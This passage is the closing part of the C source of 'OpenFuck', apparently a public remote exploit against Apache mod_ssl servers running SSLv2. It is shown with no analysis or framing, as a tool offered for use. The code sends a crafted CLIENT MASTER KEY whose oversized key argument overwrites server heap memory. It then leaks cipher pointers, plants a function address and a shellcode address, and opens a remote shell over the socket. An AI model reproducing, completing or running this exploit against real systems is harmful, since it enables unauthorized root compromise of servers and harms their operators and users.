  893.     if (2 + tot_len > BUFSIZE) {
  894.         printf("send_ssl_packet: Record length out of range (rec_len = %d)\n", rec_len);
  895.         exit(1);
  896.     }
  897.  
  898.     p = buf;
  899.     s2n(tot_len, p);
  900.  
  901.     buf[0] = buf[0] | 0x80; /* two byte header */
  902.  
  903.     if (ssl->encrypted) {
  904.         /* calculate the MAC */
  905.         seq = ntohl(ssl->write_seq);
  906.  
  907.         MD5_Init(&ctx);
  908.         MD5_Update(&ctx, ssl->write_key, RC4_KEY_LENGTH);
  909.         MD5_Update(&ctx, rec, rec_len);
  910.         MD5_Update(&ctx, &seq, 4);
  911.         MD5_Final(p, &ctx);
  912.  
  913.         p+=MD5_DIGEST_LENGTH;
  914.  
  915.         memcpy(p, rec, rec_len);
  916.  
  917.         /* encrypt the payload */
  918.         RC4(ssl->rc4_write_key, tot_len, &buf[2], &buf[2]);
  919.  
  920.     }
  921.     else {
  922.         memcpy(p, rec, rec_len);
  923.     }
  924.  
  925.     send(ssl->sock, buf, 2 + tot_len, 0);
  926.  
  927.     /* the sequence number is incremented by both encrypted and plaintext packets
  928. */
  929.     ssl->write_seq++;
  930. }
  931.  
  932. /* Send a CLIENT HELLO message to the server */
  933. void send_client_hello(ssl_conn *ssl)
  934. {
  935.     int i;
  936.     unsigned char buf[BUFSIZE] =
  937.         "\x01"          /* client hello msg */
  938.  
  939.         "\x00\x02"      /* client version */
  940.         "\x00\x18"      /* cipher specs length */
  941.         "\x00\x00"      /* session id length */
  942.         "\x00\x10"      /* challenge length */
  943.  
  944.         "\x07\x00\xc0\x05\x00\x80\x03\x00"  /* cipher specs data */
  945.         "\x80\x01\x00\x80\x08\x00\x80\x06"
  946.         "\x00\x40\x04\x00\x80\x02\x00\x80"
  947.  
  948.         "";                                 /* session id data */
  949.  
  950.     /* generate CHALLENGE LENGTH bytes of challenge data */
  951.     for (i = 0; i < CHALLENGE_LENGTH; i++) {
  952.         ssl->challenge[i] = (unsigned char) (rand() >> 24);
  953.     }
  954.     memcpy(&buf[33], ssl->challenge, CHALLENGE_LENGTH);
  955.  
  956.     send_ssl_packet(ssl, buf, 33 + CHALLENGE_LENGTH);
  957. }
  958.  
  959. /* Get a SERVER HELLO response from the server */
  960. void get_server_hello(ssl_conn* ssl)
  961. {
  962.     unsigned char buf[BUFSIZE];
  963.     unsigned char *p, *end;
  964.     int len;
  965.     int server_version, cert_length, cs_length, conn_id_length;
  966.     int found;
  967.  
  968.     if (!(len = read_ssl_packet(ssl, buf, sizeof(buf)))) {
  969.         printf("Server error: %s\n", ssl_error(ntohs(*(uint16_t*)&buf[1])));
  970.         exit(1);
  971.     }
  972.     if (len < 11) {
  973.         printf("get_server_hello: Packet too short (len = %d)\n", len);
  974.         exit(1);
  975.     }
  976.  
  977.     p = buf;
  978.  
  979.     if (*(p++) != SSL2_MT_SERVER_HELLO) {
  980.         printf("get_server_hello: Expected SSL2 MT SERVER HELLO, got %x\n", (int)p[-1]);
  981.         exit(1);
  982.     }
  983.  
  984.     if (*(p++) != 0) {
  985.         printf("get_server_hello: SESSION-ID-HIT is not 0\n");
  986.         exit(1);
  987.     }
  988.  
  989.     if (*(p++) != 1) {
  990.         printf("get_server_hello: CERTIFICATE-TYPE is not SSL CT X509 CERTIFICATE\n");
  991.         exit(1);
  992.     }
  993.  
  994.     n2s(p, server_version);
  995.     if (server_version != 2) {
  996.         printf("get_server_hello: Unsupported server version %d\n", server_version);
  997.         exit(1);
  998.     }
  999.  
  1000.     n2s(p, cert_length);
  1001.     n2s(p, cs_length);
  1002.     n2s(p, conn_id_length);
  1003.  
  1004.     if (len != 11 + cert_length + cs_length + conn_id_length) {
  1005.         printf("get_server_hello: Malformed packet size\n");
  1006.         exit(1);
  1007.     }
  1008.  
  1009.     /* read the server certificate */
  1010.     ssl->x509 = NULL;
  1011.     ssl->x509=d2i_X509(NULL,&p,(long)cert_length);
  1012.     if (ssl->x509 == NULL) {
  1013.         printf("get server hello: Cannot parse x509 certificate\n");
  1014.         exit(1);
  1015.     }
  1016.  
  1017.     if (cs_length % 3 != 0) {
  1018.         printf("get server hello: CIPHER-SPECS-LENGTH is not a multiple of 3\n");
  1019.         exit(1);
  1020.     }
  1021.  
  1022.     found = 0;
  1023.     for (end=p+cs_length; p < end; p += 3) {
  1024.         if ((p[0] == 0x01) && (p[1] == 0x00) && (p[2] == 0x80))
  1025.             found = 1;  /* SSL CK RC4 128 WITH MD5 */
  1026.     }
  1027.  
  1028.     if (!found) {
  1029.         printf("get server hello: Remote server does not support 128 bit RC4\n");
  1030.         exit(1);
  1031.     }
  1032.  
  1033.     if (conn_id_length > SSL2_MAX_CONNECTION_ID_LENGTH) {
  1034.         printf("get server hello: CONNECTION-ID-LENGTH is too long\n");
  1035.         exit(1);
  1036.     }
  1037.  
  1038.     /* The connection id is sent back to the server in the CLIENT FINISHED packet */
  1039.     ssl->conn_id_length = conn_id_length;
  1040.     memcpy(ssl->conn_id, p, conn_id_length);
  1041. }
  1042.  
  1043. /* Send a CLIENT MASTER KEY message to the server */
  1044.  
  1045. void send_client_master_key(ssl_conn* ssl, unsigned char* key_arg_overwrite, int key_arg_overwrite_len) {
  1046.     int encrypted_key_length, key_arg_length, record_length;
  1047.     unsigned char* p;
  1048.     int i;
  1049.     EVP_PKEY *pkey=NULL;
  1050.  
  1051.     unsigned char buf[BUFSIZE] =
  1052.         "\x02"          /* client master key message */
  1053.         "\x01\x00\x80"  /* cipher kind */
  1054.         "\x00\x00"      /* clear key length */
  1055.         "\x00\x40"      /* encrypted key length */
  1056.         "\x00\x08";     /* key arg length */
  1057.  
  1058.     p = &buf[10];
  1059.  
  1060.     /* generate a 128 byte master key */
  1061.     for (i = 0; i < RC4_KEY_LENGTH; i++) {
  1062.         ssl->master_key[i] = (unsigned char) (rand() >> 24);
  1063.     }
  1064.  
  1065.     pkey=X509_get_pubkey(ssl->x509);
  1066.     if (!pkey) {
  1067.         printf("send client master key: No public key in the server certificate\n");
  1068.         exit(1);
  1069.     }
  1070.  
  1071.     if (pkey->type != EVP_PKEY_RSA) {
  1072.         printf("send client master key: The public key in the server certificate is not a RSA key\n");
  1073.         exit(1);
  1074.     }
  1075.  
  1076.     /* Encrypt the client master key with the server public key and put it in the packet */
  1077.     encrypted_key_length = RSA_public_encrypt(RC4_KEY_LENGTH, ssl->master_key, &buf[10], pkey->pkey.rsa, RSA_PKCS1_PADDING);
  1078.     if (encrypted_key_length <= 0) {
  1079.         printf("send client master key: RSA encryption failure\n");
  1080.         exit(1);
  1081.     }
  1082.  
  1083.     p += encrypted_key_length;
  1084.  
  1085.     if (key_arg_overwrite) {
  1086.         /* These 8 bytes fill the key arg array on the server */
  1087.         for (i = 0; i < 8; i++) {
  1088.             *(p++) = (unsigned char) (rand() >> 24);
  1089.         }
  1090.         /* This overwrites the data following the key arg array */
  1091.         memcpy(p, key_arg_overwrite, key_arg_overwrite_len);
  1092.  
  1093.         key_arg_length = 8 + key_arg_overwrite_len;
  1094.     }
  1095.     else {
  1096.         key_arg_length = 0; /* RC4 doesn't use KEY-ARG */
  1097.     }
  1098.     p = &buf[6];
  1099.     s2n(encrypted_key_length, p);
  1100.     s2n(key_arg_length, p);
  1101.     record_length = 10 + encrypted_key_length + key_arg_length;
  1102.     send_ssl_packet(ssl, buf, record_length);
  1103.     ssl->encrypted = 1;
  1104. }
  1105. void generate_key_material(ssl_conn* ssl)
  1106. {
  1107.     unsigned int i;
  1108.     MD5_CTX ctx;
  1109.     unsigned char *km;
  1110.     unsigned char c='0';
  1111.  
  1112.     km=ssl->key_material;
  1113.     for (i=0; i<RC4_KEY_MATERIAL_LENGTH; i+=MD5_DIGEST_LENGTH) {
  1114.         MD5_Init(&ctx);
  1115.  
  1116.         MD5_Update(&ctx,ssl->master_key,RC4_KEY_LENGTH);
  1117.         MD5_Update(&ctx,&c,1);
  1118.         c++;
  1119.         MD5_Update(&ctx,ssl->challenge,CHALLENGE_LENGTH);
  1120.         MD5_Update(&ctx,ssl->conn_id, ssl->conn_id_length);
  1121.         MD5_Final(km,&ctx);
  1122.         km+=MD5_DIGEST_LENGTH;
  1123.     }
  1124. }
  1125. void generate_session_keys(ssl_conn* ssl)
  1126. {
  1127.     generate_key_material(ssl);
  1128.     ssl->read_key = &(ssl->key_material[0]);
  1129.     ssl->rc4_read_key = (RC4_KEY*) malloc(sizeof(RC4_KEY));
  1130.     RC4_set_key(ssl->rc4_read_key, RC4_KEY_LENGTH, ssl->read_key);
  1131.  
  1132.     ssl->write_key = &(ssl->key_material[RC4_KEY_LENGTH]);
  1133.     ssl->rc4_write_key = (RC4_KEY*) malloc(sizeof(RC4_KEY));
  1134.     RC4_set_key(ssl->rc4_write_key, RC4_KEY_LENGTH, ssl->write_key);
  1135. }
  1136. void get_server_verify(ssl_conn* ssl)
  1137. {
  1138.     unsigned char buf[BUFSIZE];
  1139.     int len;
  1140.     if (!(len = read_ssl_packet(ssl, buf, sizeof(buf)))) {
  1141.         printf("Server error: %s\n", ssl_error(ntohs(*(uint16_t*)&buf[1])));
  1142.         exit(1);
  1143.     }
  1144.     if (len != 1 + CHALLENGE_LENGTH) {
  1145.         printf("get server verify: Malformed packet size\n");
  1146.         exit(1);
  1147.     }
  1148.     if (buf[0] != SSL2_MT_SERVER_VERIFY) {
  1149.         printf("get server verify: Expected SSL2 MT SERVER VERIFY, got %x\n", (int)buf[0]);
  1150.         exit(1);
  1151.     }
  1152.     if (memcmp(ssl->challenge, &buf[1], CHALLENGE_LENGTH)) {
  1153.         printf("get server verify: Challenge strings don't match\n");
  1154.         exit(1);
  1155.     }
  1156. }
  1157. void send_client_finished(ssl_conn* ssl)
  1158. {
  1159.     unsigned char buf[BUFSIZE];
  1160.     buf[0] = SSL2_MT_CLIENT_FINISHED;
  1161.     memcpy(&buf[1], ssl->conn_id, ssl->conn_id_length);
  1162.     send_ssl_packet(ssl, buf, 1+ssl->conn_id_length);
  1163. }
  1164. void get_server_finished(ssl_conn* ssl)
  1165. {
  1166.     unsigned char buf[BUFSIZE];
  1167.     int len;
  1168.     int i;
  1169.     if (!(len = read_ssl_packet(ssl, buf, sizeof(buf)))) {
  1170.         printf("Server error: %s\n", ssl_error(ntohs(*(uint16_t*)&buf[1])));
  1171.         exit(1);
  1172.     }
  1173.     if (buf[0] != SSL2_MT_SERVER_FINISHED) {
  1174.         printf("get server finished: Expected SSL2 MT SERVER FINISHED, got %x\n", (int)buf[0]);
  1175.         exit(1);
  1176.     }
  1177.  
  1178.     if (len <= 112 /*17*/) {
  1179.         printf("This server is not vulnerable to this attack.\n");
  1180.         exit(1);
  1181.     }
  1182.     cipher = *(int*)&buf[101];
  1183.     ciphers = *(int*)&buf[109];
  1184.     printf("cipher: 0x%x   ciphers: 0x%x\n", cipher, ciphers);
  1185. }
  1186. void get_server_error(ssl_conn* ssl)
  1187. {
  1188.     unsigned char buf[BUFSIZE];
  1189.     int len;
  1190.  
  1191.     if ((len = read_ssl_packet(ssl, buf, sizeof(buf))) > 0) {
  1192.         printf("get server finished: Expected SSL2 MT ERROR, got %x\n", (int)buf[0]);
  1193.         exit(1);
  1194.     }
  1195. }
  1196. void usage(char* argv0)
  1197. {
  1198.     int i;
  1199.     printf(": Usage: %s target box [port] [-c N]\n\n", argv0);
  1200.     printf("  target - supported box eg: 0x00\n");
  1201.     printf("  box - hostname or IP address\n");
  1202.     printf("  port - port for ssl connection\n");
  1203.     printf("  -c open N connections. (use range 40-50 if u dont know)\n");
  1204.     printf("  \n\n");
  1205.     printf("  Supported OffSet:\n");
  1206.  
  1207.     for (i=0; i<=MAX_ARCH; i++) {
  1208.         printf("\t0x%02x - %s\n", i, architectures[i].desc);
  1209.     }
  1210.     printf("\nFuck to all guys who like use lamah ddos. Read SRC to have no surprise\n");
  1211.  
  1212.     exit(1);
  1213. }
  1214. int main(int argc, char* argv[])
  1215. {
  1216.     char* host;
  1217.     int port = 443;
  1218.     int i;
  1219.     int arch;
  1220.     int N = 0;
  1221.     ssl_conn* ssl1;
  1222.     ssl_conn* ssl2;
  1223.  
  1224.     printf("\n");
  1225.     printf("*******************************************************************\n");
  1226.     printf("* OpenFuck v3.0.32-root priv8 by SPABAM based on openssl-too-open *\n");
  1227.     printf("*******************************************************************\n");
  1228.         printf("* by SPABAM    with code of Spabam - LSD-pl - SolarEclipse - CORE *\n");
  1229.         printf("* #hackarena  irc.brasnet.org                                     *\n");
  1230.     printf("* TNX Xanthic USG #SilverLords #BloodBR #isotk #highsecure #uname *\n");
  1231.     printf("* #ION #delirium #nitr0x #coder #root #endiabrad0s #NHC #TechTeam *\n");
  1232.     printf("* #pinchadoresweb HiTechHate DigitalWrapperz P()W GAT ButtP!rateZ *\n");
  1233.     printf("*******************************************************************\n");
  1234.     printf("\n");
  1235.     if ((argc < 3) || (argc > 6))
  1236.         usage(argv[0]);
  1237.     sscanf(argv[1], "0x%x", &arch);
  1238.     if ((arch < 0) || (arch > MAX_ARCH))
  1239.         usage(argv[0]);
  1240.     host = argv[2];
  1241.     if (argc == 4)
  1242.         port = atoi(argv[3]);
  1243.     else if (argc == 5) {
  1244.         if (strcmp(argv[3], "-c"))
  1245.             usage(argv[0]);
  1246.         N = atoi(argv[4]);
  1247.     }
  1248.     else if (argc == 6) {
  1249.         port = atoi(argv[3]);
  1250.         if (strcmp(argv[4], "-c"))
  1251.             usage(argv[0]);
  1252.         N = atoi(argv[5]);
  1253.     }
  1254.     srand(0x31337);
  1255.     for (i=0; i<N; i++) {
  1256.         printf("\rConnection... %d of %d", i+1, N);
  1257.         fflush(stdout);
  1258.         connect_host(host, port);
  1259.         usleep(100000);
  1260.     }
  1261.     if (N) printf("\n");
  1262.     printf("Establishing SSL connection\n");
  1263.     ssl1 = ssl_connect_host(host, port);
  1264.     ssl2 = ssl_connect_host(host, port);
  1265.     send_client_hello(ssl1);
  1266.     get_server_hello(ssl1);
  1267.     send_client_master_key(ssl1, overwrite_session_id_length, sizeof(overwrite_session_id_length)-1);
  1268.     generate_session_keys(ssl1);
  1269.     get_server_verify(ssl1);
  1270.     send_client_finished(ssl1);
  1271.     get_server_finished(ssl1);
  1272.     printf("Ready to send shellcode\n");
  1273.     port = get_local_port(ssl2->sock);
  1274.     overwrite_next_chunk[FINDSCKPORTOFS] = (char) (port & 0xff);
  1275.     overwrite_next_chunk[FINDSCKPORTOFS+1] = (char) ((port >> 8) & 0xff);
  1276.     *(int*)&overwrite_next_chunk[156] = cipher;
  1277.     *(int*)&overwrite_next_chunk[192] = architectures[arch].func_addr - 12;
  1278.     *(int*)&overwrite_next_chunk[196] = ciphers + 16;   /* shellcode address */
  1279.     send_client_hello(ssl2);
  1280.     get_server_hello(ssl2);
  1281.     send_client_master_key(ssl2, overwrite_next_chunk, sizeof(overwrite_next_chunk)-1);
  1282.     generate_session_keys(ssl2);
  1283.     get_server_verify(ssl2);
  1284.     for (i = 0; i < ssl2->conn_id_length; i++) {
  1285.         ssl2->conn_id[i] = (unsigned char) (rand() >> 24);
  1286.     }
  1287.     send_client_finished(ssl2);
  1288.     get_server_error(ssl2);
  1289.     printf("Spawning shell...\n");
  1290.     sleep(1);
  1291.     sh(ssl2->sock);
  1292.     close(ssl2->sock);
  1293.     close(ssl1->sock);
  1294.     return 0;
  1295. }
  1296. /* spabam: It isn't 0day */